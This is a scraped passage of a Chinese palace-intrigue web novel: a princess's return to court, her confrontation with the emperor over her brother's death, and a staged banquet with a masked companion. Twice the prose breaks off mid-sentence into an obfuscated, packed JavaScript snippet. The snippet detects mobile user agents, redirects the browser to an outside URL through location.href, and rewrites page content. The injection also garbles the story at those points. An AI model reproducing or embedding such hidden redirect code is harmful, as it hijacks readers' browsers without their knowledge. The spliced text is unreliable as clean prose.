姜宁眼皮未抬，拈起一块梅花糕送至唇边轻咬一口，细嚼慢咽后，才悠悠然道：“二王子不觉得此人甚是有趣么？”她尾音微扬，带着点漫不经心的玩味。 “呵，”贺兰风嗤笑一声，干脆利落，“不觉得。”他视线转向一旁安静侍立的惜桃，声音拖长，“小惜桃，你说呢？那人有趣么？” 惜桃猝不及防被点名，微微一愣，随即老老实实地小声回道：“我……我也说不好。只是殿下好像很喜欢逗弄这位大人。”她眼神清澈，道出的是最直观的观感。 姜宁接过惜桃适时递上的丝帕，慢条斯理地擦拭着指尖的糕点碎屑，语气轻飘飘的，带着一种居高临下的漠然：“不过是个逗趣的玩物，瞧着解闷罢了。” 随后，她话锋一转，吩咐道：“我待会儿直接进宫给父皇请安，你们先在府中安顿。” “是，殿下。”惜桃立刻应下。 贺兰风却并未接话，他掀起帘子，目光落在窗外飞逝的街景，片刻后，才收回视线，重新看向姜宁，那惯常的慵懒笑意淡去几分，声音里难得透出一丝正色：“既已抵京，殿下还需我……做些什么？” 他问得直白，目光深处带着不易察觉的审视。 姜宁抬眸，迎上他灼灼的视线，唇角依然挂着那抹玩味的笑，打趣道：“二王子才入京便待不住了？这般急切，莫不是想着早日归去争一争那柔然王座？” “是。”贺兰风答得斩钉截铁，毫无避讳。灼灼目光，坦荡地迎向姜宁。 这猝不及防的直白，让姜宁唇边的笑意微微一滞。 数月同行，两人心照不宣地避开彼此真正的图谋，仿佛一场无声的默契。此刻这层薄纱被骤然挑破，倒让她一时不知如何回应。 贺兰风见她微怔，眼底深处掠过一丝的笑意，慵懒的姿态瞬间恢复，语气又带上了那种惯常的、似真似假的调调：“若坐不上那王位，如何配得上与殿下联姻呢？您说是不是？”他刻意将“联姻”二字咬得暧昧不清。 “呵，”姜宁回神，只当他是缓解气氛的戏言，顺着话头也带了几分不正经的揶揄，“看来二王子是不甘只做男宠了？这便想着要‘上位’，当本宫的驸马了？” “哈哈哈！”贺兰风朗声大笑。车厢内方才的微妙沉寂被打破。 笑声渐歇，姜宁神色微敛，恢复了惯有的冷静，正色道：“约莫还需些时日。待时机成熟，我自会安排妥当，送你安然返程。” 她顿了顿，目光再次投向贺兰风，带着一种上位者的审视与承诺，“至于二王子逐鹿王庭之事……若凤明堂尚有余力襄助，只要所求并非动摇我大凌国本，”她语声微顿，一字一句清晰道，“本宫，皆可应允。” 车厢内一时静默。 这些时日，从最初的相互试探、各取所需，到如今并肩同行，几分真切的、近似“友”的情谊，确乎在悄然滋生。 更何况，于公于私，一个与凤明堂、与大凌交好的柔然王，于她肃清旧案、安抚西北，乃至两国百姓，何尝不是一着活棋？ 贺兰风听罢，眼底光影微动。他没有丝毫矫情的推拒或感激涕零，只是极干脆地一点头，声音沉稳，带着草原男儿特有的爽利与承诺的分量：“好。殿下既赠我薄礼，他日我若得登高位，必以厚礼相报。” 一个“赠”，一个“报”，寥寥数语，一场超越男宠身份、直指权力巅峰的同盟契约，无声落定。 22. 第二十二章 早已知晓 姜宁抵达庆元殿时，正值午时。 殿前侍卫见她凤驾，忙躬身行礼。 姜宁踏入殿中，殿内空寂，御座之上不见姜厚钦身影，亦未见李鸿顺。她走出殿外，对着侍卫问道。“陛下何在？” 侍卫垂首，答得小心：“回殿下，太子殿下入宫，皇后娘娘请了圣驾去坤宁宫用午膳。此刻应在坤宁宫。” 见姜宁不语，侍卫额角渗出细汗，斟酌着补充：“殿下不若在庆元殿稍候片刻？”他心知公主与皇后关系不睦，此乃最稳妥之策。 “呵，”姜宁唇角逸出一声极轻的冷笑，“不必。本宫去坤宁宫给父皇请安。”话罢，拂袖转身离去。 侍卫愕然抬头，只见那抹背影渐渐消失在殿门光影之外。 “殿下今日……”待姜宁走远，侍卫才敢低声问同伴，“怎地转了性子？往日对皇后娘娘可是避之唯恐不及。莫非是我方才说错了话？” 另一侍卫压低嗓音，宽慰中带着几分揣测：“许是殿下真有急事？若说转了性子，倒也可能。京外都传遍了，殿下此番离京散心，可是从庆阳带回了位绝色男宠。殿下从前在长安虽有些流言，在京城却还算规行矩步。如今这般，或许真个放开了也未可知。” “倒也是。”侍卫低声应和，心头稍安，重新挺直腰背，目光投向深宫方向，添了几分难言的复杂。 ———— 坤宁宫。 朱漆金字的牌匾高悬，在午后的阳光下泛着刺目的光。姜宁驻足抬眸，目光冰冷。 上一次踏入此地，还是八岁稚龄。冰冷刺骨的池水，姜齐刺耳的哭嚎，汪荣含泪的控诉，父皇盛怒的耳光……还有她砸碎满殿珍玩玉器的破碎声响，震彻深宫。 守门内侍乍见她的身影，惊得忘了行礼，使劲揉了揉眼确认无误，才慌忙伏地：“奴才叩见公主殿下！” “父皇可在里面？”姜宁的声音带着寒意，比脚步更快抵达。 “在的！在的！”内侍连声应道，不敢有半分阻拦。 话音未落，姜宁已抬步迈过那道坤宁宫门槛，步履迅疾，直逼主殿。 内侍连滚爬起，一边小跑跟上，一边拼命向殿内宫人使着眼色。 主殿雕花门扉半敞，内里传出的欢声笑语，猝然击中了姜宁的心头。 “父皇，您尝尝这道醉虾，是儿臣特意吩咐小厨房……”姜齐清朗的声音带着讨好。 “陛下，齐儿一片孝心……”汪荣的笑语温婉。 姜厚钦低沉的笑声隐约可闻，正是姜宁记忆中已模糊了的、属于家的温暖声响。 姜宁的脚步，在殿门前那片被阳光分割的光影里，倏然定住。指尖无意识地深深掐入掌心，带来一阵尖锐的刺痛。 “陛下，娘娘，公主殿下求见！”身后内侍尖细的通传声，带着无法掩饰的惶恐，骤然撕裂了殿内的和乐融融。 笑声戛然而止。空气中无形的排斥与冰冷，隔着门扉扑面而来。那寂静，比任何呵斥都更刺耳。 姜宁深吸一口气，压下喉间翻涌的酸涩，面上已恢复一片清冷的平静，迈步踏入殿中。 主殿内，食案旁。 姜厚钦端坐主位，帝王威仪不怒自威。汪荣脸上的笑容僵硬地凝固着，随即强行扯开一个更为“温婉”的弧度，眼底却无半分暖意。姜齐则霍然抬首，望向姜宁的目光充满了戒备与一丝不易察觉的敌意。李鸿顺与心腹嬷嬷垂手侍立，低眉敛目。 姜宁无视那几道各异的目光，径自对着姜厚钦的方向，深深一跪：“儿臣给父皇请安。父皇今日，可还安好？” “哼，”姜厚钦一声冷哼，“你还知道回来？” “儿臣不该擅自离京，向父皇请罪，甘领父皇责罚。”姜宁额头重重扣在冰冷的地面，姿态恭顺。 姜厚钦胸口起伏，一阵压抑的咳嗽冲破喉间。 他望着伏地的女儿，心中五味杂陈。他喜她平安无恙，怒她一去数月杳无音讯，忧她搅动风云不知收敛。 最终，只化作一声沉沉的叹息：“罢了，起来吧。” “谢父皇。”姜宁缓缓起身，抬眸的瞬间，目光凝在姜厚钦脸上。数月未见，父皇的眉宇间似又添了数道深壑，面容透着一种力不从心的苍老。 她心头一紧，不假思索脱口而出，语气带着自己都未察觉的焦灼：“父皇龙体怎似比儿臣离京前更见清减？可是国事操劳过甚？”关切之情，溢于言表。 姜厚钦迎上女儿眼中那抹真切忧色，心头微暖，眸光不自觉柔和了几分，出口的话却仍带着帝王的威严：“你再晚些回来，怕是朕闭眼之前，也难再见你一面了。” “陛下！”汪荣惊呼。 “父皇慎言！”姜齐急道。 汪荣连忙劝道：“陛下正值春秋鼎盛，万寿无疆，怎可出此不祥之言。” 姜宁的心却直直沉了下去，鼻尖酸涩难抑，声音带着压抑的颤抖：“是儿臣不孝，惹父皇忧心伤怀。儿臣日后再不离京了，定当常伴父皇身侧。”话音未落，两滴清泪毫无征兆地滑落。 “怎地还同小时候一般，遇事便哭。”姜厚钦蹙眉，带着一丝怜惜，起身自袖中取出一方明黄锦帕，递了过去。 姜宁接过，触手温润，带着龙涎香的沉稳气息。她拭去泪痕，抬眸望向姜厚钦，声音却带着一种近乎执拗的柔软：“在父皇跟前，儿臣永远都是那个爱哭鼻子的宁儿。” 见此父女叙旧的场景，汪荣适时出声，笑意盈盈地打破这父女间的微妙氛围：“陛下，殿下远道归来，想是饿了。不如请殿下先用些膳食？再好的话，也等填饱肚子再说。” 姜厚钦微微颔首：“皇后说的是。” 汪荣转向侍立的嬷嬷，“去，为殿下添副碗筷来。” “是。”嬷嬷领命而去。 碗筷添置妥当，姜宁依言落座。汪荣舀了一碗热气腾腾的羹汤，递至姜宁面前，维持着笑意：“殿下离京数月，舟车劳顿，想必辛苦。这汤最是滋补，快尝尝。” 姜宁目光落在汪荣保养得宜、戴着精致护甲的手上，嘴角缓缓扯出一个没有温度的笑意：“皇后娘娘如此关怀，甚至日夜遣派人跟着，本宫实在愧不敢当。” 汪荣脸上笑容一僵，随即化作恰到好处的愕然与无辜：“殿下这话，本宫就听不明白了。” “哦？”姜宁眼波流转，正要继续，又被姜齐突兀的声音打断。 “说起京外，”姜齐目光灼灼，带着少年人特有的好奇与不加掩饰的探询，“孤听闻皇姐在庆阳，得了一位才貌双绝的‘南院公子’，此番也带回了京城？不知是何等妙人，何时能让皇弟也开开眼界？” 那“南院公子”、“何等妙人”的字眼，充满了轻佻佻的暗示。 “齐儿，休得妄言！”汪荣立时呵斥，语调却并无多少严厉，倒像是长辈对顽童的纵容。 这一唱一和，落在姜宁眼中，只觉无比讽刺。多年过去，这对母子的戏码，依旧炉火纯青。 她并不恼，反而唇角弯起一个十分明媚的弧度，声音清脆：“皇弟既如此好奇，改日本宫定当为你引见。” 随即，她话锋一转，带着同样锋利的回敬，“说来也巧，本宫在京外，亦听闻皇弟在民间新纳了几位‘解语花’，甚是得趣？不知皇后娘娘何时为皇弟择定太子妃，以正东宫纲常？” “砰——！” 一声脆响！姜厚钦手中的瓷盏被重重置在案上。 “够了！”姜厚钦霍然起身，面色铁青，目光扫过姜宁，“姜宁，你随朕回庆元殿！” 话音未落，他已拂袖而去，背影裹挟着雷霆之怒。李鸿顺匆忙向汪荣、姜齐躬身告罪，疾步跟上。 姜宁亦随之起身，行至殿门处，脚步微顿。她侧首，目光地投向食案旁的汪荣。嘴角那抹笑意依旧：“皇后娘娘，本宫如今所求不过一隅清净，做个富贵闲人罢了。莫不如，彼此放过？” 汪荣的脸上维持着雍容笑意，眼底却似结着千载寒意：“殿下说笑了，本宫待殿下之心，何曾有过半分‘为难’？” 四目相对，空气中似有无形的刀锋碰撞。 ———— 坤宁宫外，长而空旷的宫道上，阳光炽烈，却驱不散那沉凝的气息。 姜厚钦负手立于道旁一棵古柏的浓荫下，背影透着难以言喻的疲惫。见姜宁跟上，他朝身后一众屏息垂首的宫人摆摆手，声音低沉：“都退下吧。朕与公主单独走走。” “奴才遵旨。”宫人们在李鸿顺无声的示意下，迅速退避至远处。 待四下无人，姜厚钦才迈开脚步，沿着宫墙的阴影，缓缓向庆元殿方向行去。姜宁落后半步，沉默相随。 沉重的步履踏在青石板上，发出单调而压抑的回响。宫道两侧的朱红高墙，隔绝了尘嚣，也隔绝了窥探。 “庆阳之行，”姜厚钦的声音打破沉寂，“还顺遂么？” “回父皇，一切顺利。”姜宁应道，顿了顿，终是还是将裴落改口为淑妃，续道：“淑妃娘娘与小皇子，母子均安。” “嗯。”姜厚钦低应一声，仿佛只是确认一件公务，“这次，辛苦她了。”他目视前方，声音平淡无波：“待过段时日，朕自会颁旨，宣告姜霖的皇子身份。眼下，尚非其时。” “辛苦”二字，像冰冷的石子投入心湖，激起千层波澜。姜宁的脚步蓦地停驻。 在父皇的眼中，裴落姐姐究竟是什么？一个温顺的、完成了任务的容器？一个用以制衡朝堂的、没有灵魂的符号？可她分明也是个鲜活的女子啊！ 愤懑与尖锐的痛楚在姜宁的胸腔里冲撞，无处宣泄。她既痛恨父皇身为帝王的冷酷权谋，又在那偶尔流露的慈父目光下，忍不住想要靠近汲取那点稀薄的暖意。这撕裂感，几乎要将她吞噬。 姜厚钦察觉到身后的停滞，也停下脚步，侧身回望，目光带着探询：“怎么？” 姜宁抬眸，目光直直撞入姜厚钦眼底，那眼神仿佛要剖开层层伪装，直抵核心。那个在她心底盘桓了十四年的疑问，终于破口而出，掷地有声： “十四年前，幼弟宸儿夭折的真相，父皇是否早已知晓？” 姜厚钦的嘴唇微微翕动了一下，喉结滚动，却未能吐出一个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191295|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 冗长的沉默在宫道上蔓延，只余远处隐约的鸟鸣和风吹过树叶的沙沙声。 半晌，才听得他一声极轻的喟叹，带着帝王独有的、沉重的无奈：“朕不得不顾及许多。” “顾及？！”姜宁蓦然拔高声音，那积压多年的愤恨如岩浆喷涌，再也无法抑制。她眼角瞬间殷红，声音因激动而颤抖：“宸弟何其无辜？母后何其无辜？！” 她甚至不敢去想，母后在生命的最后时刻，是否已经知晓了那场精心策划的杀戮真相？是否带着对枕边人的绝望怨恨，含恨而终？ 姜厚钦的背脊僵硬了一瞬。他下意识抬起手，似想安抚眼前悲愤欲绝的女儿，那手却终究停在半空，缓缓落下，转而负于身后，挺直了腰背。帝王的面具重新覆盖，声音也带上了冰冷的距离感： “朕不仅是宸儿的父亲，是灵均的夫君，朕更是这大凌江山的君主！朕肩上扛着万里山河，无数生民，有些事，朕不得不为，不得不顾！” 好一个“不得不为”！好一个“不得不顾”！ 当他需要苏家支持时，他可以柔情似水，以一曲《凤求凰》求娶首辅之女；当他登上至尊之位，却又时刻提防枕边人，唯恐外戚坐大；当他的幼子惨遭毒手，当他的发妻心碎而亡，他为了所谓的“制衡之术”，为了“江山安稳”，竟能隐忍十数年，纵容真凶！口口声声，竟是为了这天下苍生？ 何其虚伪！何其可笑！又何其……可恨！ 姜宁死死咬住下唇，尝到一丝血腥的咸涩。她望着眼前这个熟悉又陌生的男人，只觉得一股彻骨的寒意从脚底直冲头顶，冻僵了四肢百骸。 她真的好恨！恨这冠冕堂皇的说辞！恨这冰冷无情的帝王心术！更恨眼前这个她称之为父亲的人！ 死寂重新笼罩了宫道。远处宫墙下的鸟鸣显得格外清晰，风吹过树叶的沙沙声，仿佛在嘲笑着这场父女间的对峙。 姜宁深深吸气，强行压下那几乎要将她撕裂的恨意。她再次抬眸，目光已恢复了几分清明，但那清明之下，是冻结一切的冰冷。她的声音异常平静，平静得令人心悸，字字句句道： “父皇可曾真正问过苏家一句？可曾发自内心地信过母后一次？”她向前一步，目光灼灼，“若您曾问过，信过。这些事，本不会发生！宸弟不必死于那场精心谋划的人祸！母后亦不必承受那锥心蚀骨的丧子之痛，最终心力交瘁，撒手人寰！” 姜厚钦身躯猛地一震，仿佛被无形的力量击中，踉跄着后退了半步，深陷的眼窝中，瞳孔骤然紧缩，额角青筋隐隐跳动。姜宁这一番话，如同重锤，狠狠砸在他心上最隐秘、最不愿触碰的角落。 先帝弥留之际，那枯槁的手紧抓着他，字字泣血的嘱托犹在耳边：“厚钦……切记……苏家权柄过重，终成大患……万不可……令其坐大……” 于是，自他登基那日起，这便成了他心中最深的刺。他殚精竭虑，步步为营：扶持汪家以制衡苏家，纵有蛛丝马迹指向幼子之死与汪家有关，他也只能选择视而不见，甚至不动声色地为其抹去痕迹……他兢兢业业，防了苏家二十几年。 可他……确乎从未想过，苏家是否真的会把手伸向姜姓的江山？这么多年，苏崇虽为权臣，却始终谨守臣节，从未行差踏错半步。 这个念头划过脑海时，带来一阵尖锐的刺痛和铺天盖地的恐慌。他猛地攥紧了负在身后的拳头，指甲深深嵌入掌心，强行掐断了这可怕的思绪。他不能想！不敢想！他是天子！天子何错之有？！ 姜厚钦猛地别开视线，仿佛要避开姜宁那双能洞穿一切的眼睛，也避开自己心中翻涌的惊涛骇浪。他声音干涩，带着一丝不易察觉的仓促，生硬地转开了话头：“前尘旧事，莫要再提。” 他清了清嗓子，努力找回帝王惯常的威严语调，目光投向远处飞檐，仿佛在谈论一件无关紧要的琐事：“说说吧，你从庆阳带回来的那个‘男宠’，究竟是怎么回事？” 看着父皇那近乎狼狈的回避，姜宁心底最后一丝微弱的火光也彻底熄灭，只余一片冰冷的灰烬。 她扯了扯嘴角，顺着他的话轻描淡写道：“不过途径庆阳，偶遇了个知情识趣的妙人儿，瞧着合眼缘，便带回来解闷了。” 姜厚钦深深地看了姜宁一眼，带着一丝规劝：“你是朕的女儿，大凌的公主，养几个面首，原也无妨。只是……”他加重了语气，带着不容置疑的警示，“回了京城，行事需有度。前番浮月桥之事，闹得沸沸扬扬，损及皇家颜面，更令沈卿难堪。此番，莫要再任性妄为！” “是，儿臣谨记父皇教诲。”姜宁垂眸，姿态恭顺地应下。 再抬眼时，只看见姜厚钦转身离去的背影。那身影在午后的宫道上，似乎比来时又佝偻了几分，透着一种无法言说的苍凉。 只是，姜厚钦这番语重心长的告诫，并未能落入姜宁心底半分。 正相反，承嘉公主与新宠“南院公子”情浓意蜜、形影不离的香艳轶事，如同投入滚油的星火，在极短的时间内，便点燃了京城大街小巷的每一个角落，掀起了新一轮更加汹涌的流言风暴。 23. 第二十三章 她演他陪 近日的京城，街头巷尾，茶楼酒肆，两桩轶事如野火燎原，沸沸扬扬。 第一件事，是那承嘉公主姜宁，携新宠归京！ 那位自庆阳南风馆重金赎回的男宠“临风公子”，虽终日以银质面具覆面，但是身形挺拔如松，面具边缘的下颌线条流畅，露出的双眸更是深邃，顾盼间自有风流蕴藉。 公主殿下待他，非比寻常。二人出入秦楼楚馆，同车游湖，举止间亲昵狎昵，情意绵绵，恍若神仙眷侣。因而有传言道，公主殿下十分珍视这名男宠，不愿旁人窥见其真容，独占风华之心昭然。 最令好事者津津乐道的是，那位曾令公主当众跳河、以死相胁的沈大人（哦，如今已是位高权重的沈御史），似乎已被抛诸脑后。 归京后的承嘉公主，再未与沈御史有过半分交集，醉心于男宠温柔乡中，纵情声色，不问前尘。 有人说，公主是羞于面对沈御史，索性沉沦新欢，遮羞掩面。 也有人说，此乃公主高明手段，意在激那沈御史吃醋拈酸。 而这第二种说法，便牵扯出了第二桩轶事—— 都察院联合大理寺，近日频频出手，以雷霆之势查封了多处风月场所，勒令其停业整顿数日。 此事本也寻常。年后以来，三司为查办积案，出入烟花柳巷并非首次。 然而，细究之下，京中明眼人却窥见端倪：每每公主殿下携其男宠前脚刚在某处风月场中尽兴而归，后脚那地儿便遭了殃，被官差贴上封条，闭门谢客！ 此等“巧合”一经发现，某些精明的馆主索性在门前高悬告示牌：“陋馆粗鄙，恐污公主凤驾，万望止步！” 那些倾慕沈御史的官家闺秀们对此嗤之以鼻： “不过是凑巧罢了！沈大人何等光风霁月，岂会行此等小儿女妒忌之事？” 茶馆里的说书先生们却拍案叫绝，口沫横飞： “什么凑巧？分明是沈御史，他醋海生波了！” 写书人则默然不语，只是奋笔疾书。 若问当下京城最炙手可热的话本子为何？非妙笔娘子的新作莫属——《公主驯服御史的一百零八计》！ 公主府内，暖阁熏香。姜宁斜倚人榻上，听惜桃绘声绘色地转述着坊间流言，听到妙笔娘子的大作时，眼波流转，唇角勾起一抹玩味的笑意。 她伸出纤纤玉指，凌空轻轻一点：“惜桃，去，替本宫将这妙笔娘子的新作买来瞧瞧。” 不过半日，那尚带着墨香的新鲜话本子便呈至姜宁面前。 姜宁看得极快，指尖捻过泛黄书页，须臾便至卷末。合上书卷时，她意犹未尽地轻叹一声，眼尾带着几分真切的赞赏：“这妙笔娘子不愧名动大凌数载，寥寥笔墨，竟将人心揣摩得如此刁钻有趣。惜桃，能否催她快些将那下一话写来？” 惜桃面露难色，小声道：“殿下，妙笔娘子行踪成谜，这些年，无人知其真身何在。” “哦？那倒可惜了。”姜宁惋惜地摇摇头，随手将话本子搁在案上。 刚进门的贺兰风闻言，好奇地拾起那话本子，信手翻了几页，眉头微蹙，随即不屑地嗤笑出声：“什么《公主驯服御史的一百零八计》？哗众取宠。依我看，不如写《公主与异国王子的奇幻偶遇》，岂不更妙？” 姜宁与惜桃对视一眼，俱是无言，只默契地翻了个白眼。 姜宁重新靠回美人榻，姿态慵懒如猫，声音带着不容置疑的清晰：“对了，惜桃，你让苏七和苏九给京中名门贵胄、才子佳人广发请帖。”她顿了顿，指尖无意识地点着榻沿，“就说，为贺本宫与临风公子相识满三月之期，三日后于公主府设宴，特作东道，为京中才子佳人牵一牵这月老红绳。” 她唇角弯起一个微妙的弧度，“同时，将这消息在京中散开，要传得越广越好。尤其要强调——这次宴上，本宫将亲手为临风公子揭下面具，并与之琴箫合奏。” 惜桃虽不明殿下深意，但仍是立刻应道：“喏！我这就去寻苏七苏九传话！”她福身一礼，脚步轻快地退了出去。 贺兰风端起案上酒壶，仰头灌了一口，琥珀色的酒液顺着他线条分明的下颌滑落。他放下酒壶，语气带着几分被安排的不满：“殿下真是好生霸道啊，可还没问过我这个‘主角’的意思。” 姜宁眼波慵懒地扫过他，朱唇轻启，带着一丝笃定的戏谑：“这等‘风月’戏码，于二王子而言岂非信手拈来？何必多此一问？” “呵，”贺兰风冷哼一声，几步跨至美人榻前，不由分说一把将姜宁拽了起来，“殿下说得轻巧。既是琴箫合奏，岂能临阵磨枪？此刻便该与奴好生练习一番才是。”他力道颇大，带着不容抗拒的意味。 “哎！”姜宁猝不及防被拉起，挣脱无果。 ———— 沈府书房，暮色四合。 向恒声风风火火地闯入，带进一身晚风微燥的气息：“我说怀野，公主府派人给你送信，怎么次次都撞上我？”他语气带着惯常的调侃。 沈之衡从堆积的公文卷牍中抬首，面色沉静无波，只淡淡问道：“何事？” 然而案头后的他并非表面这般平静——方才看过的公文内容，已忘了大半。 向恒声并未立刻递上请帖，反而环顾书房，眉梢微挑：“咦？今日怎地这般安静？” 他目光张望片刻，恍然道，“洛松呢？往常它不都趴在你脚边打盹儿么？” “千五带它去河边跑动消食了。”沈之衡声音平稳。 “哦……”向恒声拖长了调子，眼中促狭之意更浓，“你确定是去消食，而不是去觅食？我可是听闻，今日你破天荒地掐着点从都察院下值，说是要回府亲自下厨？”他故意将“亲自下厨”四字咬得极重。 沈之衡瞥他一眼，薄唇吐出两字：“聒噪。” “哈哈哈！”向恒声大笑，正欲从怀中掏出那份请帖，目光却被书案一隅摊开的话本子攫住。他眼疾手快，在沈之衡欲盖弥彰之前，已将书册捞入手中。 沈之衡指尖一顿，面上不动声色，只将视线重新投向摊开的公文，装作浑不在意。 “《公主驯服御史的一百零八计》？”向恒声扬了扬手中书册，眉飞色舞，笑容里满是揶揄，“啧啧，怀野啊怀野，这京中最是香艳风流的话本子，怎会出现在你这御史的书案上？” 沈之衡语气平淡无波，翻过一页公文：“千五买的，我不过随手翻看两页。” “骗鬼呢？”向恒声嗤笑一声，径直翻开书页，精准地指向一处空白处力透纸背的小楷批注，他将那字迹展示在沈之衡眼前，“这分明是你的笔迹！” 沈之衡：“……” 面对铁证，沈之衡索性放弃辩驳。 向恒声凑得更近，笑得像只狐狸：“想催看下一话么？我可认识妙笔娘子哦。” “不想。”沈之衡断然拒绝。 话刚出口，他脑中闪过一个念头，霍然抬首，目光看向向恒声：“等等。这话本子里的桥段细节，该不会是你给那妙笔娘子‘添油加醋’提供的‘灵感’吧？” 向恒声脸上的笑容僵了一瞬，眼神闪烁，干咳两声：“咳……那个，她确实给了我一笔小小的‘润笔费’。” 他努力挤出笑容，带着补偿的意味，“明日！明日我做东，天香楼最好的席面，任你点！如何？” 沈之衡不语，只定定地看着他，那目光平静，却带着压迫感，看得向恒声头皮发麻。 向恒声被他盯得浑身不自在，连忙将烫手的话本子放回书案，飞快地从怀中取出那封来自公主府的请帖递过去：“先看这个，公主又下帖子了。” 上一次这般郑重其事的邀约，是在浮月桥畔。一曲《凤求凰》后，便是公主惊天动地的纵身一跃， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你再想想平阳长公主，”沈之衡目光转向窗外渐沉的暮色，声音带着洞悉的冷静，“纵是府中蓄养男宠，也从未见她如承嘉公主这般，刻意招摇，流连于市井烟花之地，唯恐天下不知。” 他收回目光，重新聚焦在向恒声脸上，“所以，承嘉公主此番归京后的种种行径，必是另有所图。只是这图谋究竟为何，你我尚未勘破。” 向恒声颔首，显然认同了沈之衡这番剖析，“与这位殿下交锋数回，看来你也已能揣摩其几分心思了。” 沈之衡并未接话，只是沉默地望向书案上那本《公主驯服御史的一百零八计》，深沉的眸光在书封上停留良久。 向恒声亦未再言语，看向沈之衡的目光变得有些复杂，心中却一片了然。 眼前这位老友的心思，他岂会不明？天元十八年，二人从蜀郡结伴入京赶考，那年他武状元，沈之衡文状元。到如今，宦海沉浮六载有余，他深知沈之衡性情。 过往，向恒声虽常拿公主之事调侃，心中则始终存着一分警醒与反对，唯恐沈之衡与姜宁、与苏家走得太近，将来受其牵连。不过自从查清六年前长江堤坝贪墨案中苏阁老挪银助浙抗倭的隐情后，这份担忧便淡了许多。 更重要的是，如今大凌朝堂格局渐明：汪家、苏家、沈之衡所代表的清流，三足鼎立。沈之衡身负清流砥柱之名，贵为太子太师，亦是圣上默许的未来首辅人选。现下，无论他是否与公主有所牵扯，以其地位与声望，都足以在朝堂风云中自保。 向恒声看着沈之衡凝视话本时那专注而深沉的侧影，心中微动。难得见这心如止水的冰山，对何人何事如此“上心”。罢了，便由着他去吧。那些往日的提醒与阻拦，此刻看来，倒显得多余了。 他端起凉透的残茶，一饮而尽，嘴角勾起一抹看好戏的狡黠笑意—— 况且，这世间，还有什么比亲眼见证一座万年冰山被春水消融、一株铁树悄然绽放新蕊……更有趣的事呢？ 24. 第二十四章 公主府设宴的消息，如野火燎原般卷过京城街巷，很快传开。 那“为才子佳人牵线搭桥”的名头，不过锦上添花。真正搅动市井茶肆热浪的，是承嘉公主要为那神秘“男宠”临风公子揭下面具，更将与之琴箫合奏的传闻。 与此同时，坊间悄然流转起另一则风闻：公主府的人影，曾在沈御史府邸门前徘徊。 众人皆猜，那烫金请帖，必定也递进了都察院左都御史的府门。 此讯一出，说书人抚掌称快，口中悬念迭起——端方清正的沈御史，会踏入这“风流阵仗”否？ 天香楼嗅得商机，索性以此开了赌盘，引得好事者纷纷押注。 都察院值房内，几双好奇的眼觑着埋首公文的沈之衡。有人欲言又止，话头在舌尖滚了几滚，刚试探着溜出半句，便被那案后抬首投来的冷冽眸光生生冻住，只得讪讪咽了回去。 大理寺那头，同僚们却无此顾忌，径直寻上向恒声：“向少卿，您与沈大人素来交好，公主府那宴席……沈大人究竟去是不去？” 向恒声眉头微蹙，摇头叹道：“沈御史啊……怕是兴致缺缺。依我看，多半不会赴宴。” 那问话的同僚拍胸脯保证绝不外传。然而，这“内幕”仍如长了翅膀，眨眼间便飞出大理寺，在六部衙门的回廊间传遍了。 设宴前夜，天香楼赌盘将封之际。 向恒声罩了顶宽檐帷帽，鬼祟摸至柜前，将二十锭银子稳稳押在“去”字一方。转身欲走，却险些撞上一人——竟是同样遮遮掩掩的千五。 “你小子……”向恒声压低嗓门，眼底的笑意却几乎要溢出来。 千五挠挠头，颇有些尴尬：“向大人，好久不见啊。” “不是前日才……”话到嘴边，向恒声倏然想起那日千五带洛松去消食了。他一把揽住少年的肩膀，凑近低语：“准备押什么？” “约莫是……不去？”千五犹犹豫豫地回道。 向恒声摇头，眯起眼睛，食指轻摇：“你家那位沈大人必去！信我。” 千五抬眸，撞上向恒声十分笃定的眼神，咬咬牙，不再犹豫：“那我相信向大人。”话罢，他将五锭银子直愣愣地押在“去”字之上。 ———— 这两日，身在宫内的姜厚钦亦听闻了姜宁设宴做媒的动静。待姜宁入宫请安，他便开门见山问起此事。 “儿臣不过是闲来无趣，想尝尝当月老的滋味罢了。”姜宁眸光清亮，迎向御座上的审视。 姜厚钦眉头微蹙，但念及此乃姜宁在公主府初设宴席，府中人手又显单薄，心头终究软了几分，转头吩咐李鸿顺：“挑些得力宫人，去公主府帮衬一二。” 帝王此举，无异于无声的诏告：即便公主言行惹人非议，圣眷正隆亦是不争的事实。 京中官员闻风而动，一时间，世家公子、官家闺秀，乃至寒门出身的朝堂新贵，凡在受邀之列的，皆欣然赴宴。 宴席当天，公主府门前，苏七肃立迎客。府内镜湖畔，惜桃与苏九穿梭忙碌，引宾客落座。 宴席将启，姜宁方梳妆停当。凌云髻高挽，费了她不少功夫。推开闺房门扉，贺兰风已在廊下静候多时。 今日姜宁身着丹色织金马面裙，额间花钿灼灼，衬得整个人如朝霞映雪，明艳得不可方物。 贺兰风未覆面具，眼底掠过惊艳之意显然易见，瞬息又化作惯常的慵懒笑意：“殿下今日，当真是沉鱼落雁。” 姜宁未语，只顺势挽上他臂弯，唇角勾起一抹狡黠：“走吧，临风公子。今日这场戏，可得唱得滴水不漏。” “殿下苦心搭台，”贺兰风引着她缓步而行，低声问道，“就真有把握，能引来那条‘鱼’？” “未必。”姜宁目光投向回廊尽头，声音平静无澜，“鱼儿若不上钩，换了饵料便是。” 她忽而侧首看他，“宴后，二王子需将行囊备妥。此计若成，公主府将危，我会随时派人送你回柔然。” 贺兰风步伐未停，亦未回头，只干脆应道：“好。” 姜宁颔首，不再多言。 又行几步，贺兰风蓦地开口：“也确实该回去了。”声音里难得带上几分郑重。 “那边妥帖了？”姜宁语声轻若耳语。 贺兰风知她所指，毫不避讳：“小五昨夜密信已至，时机成熟。” 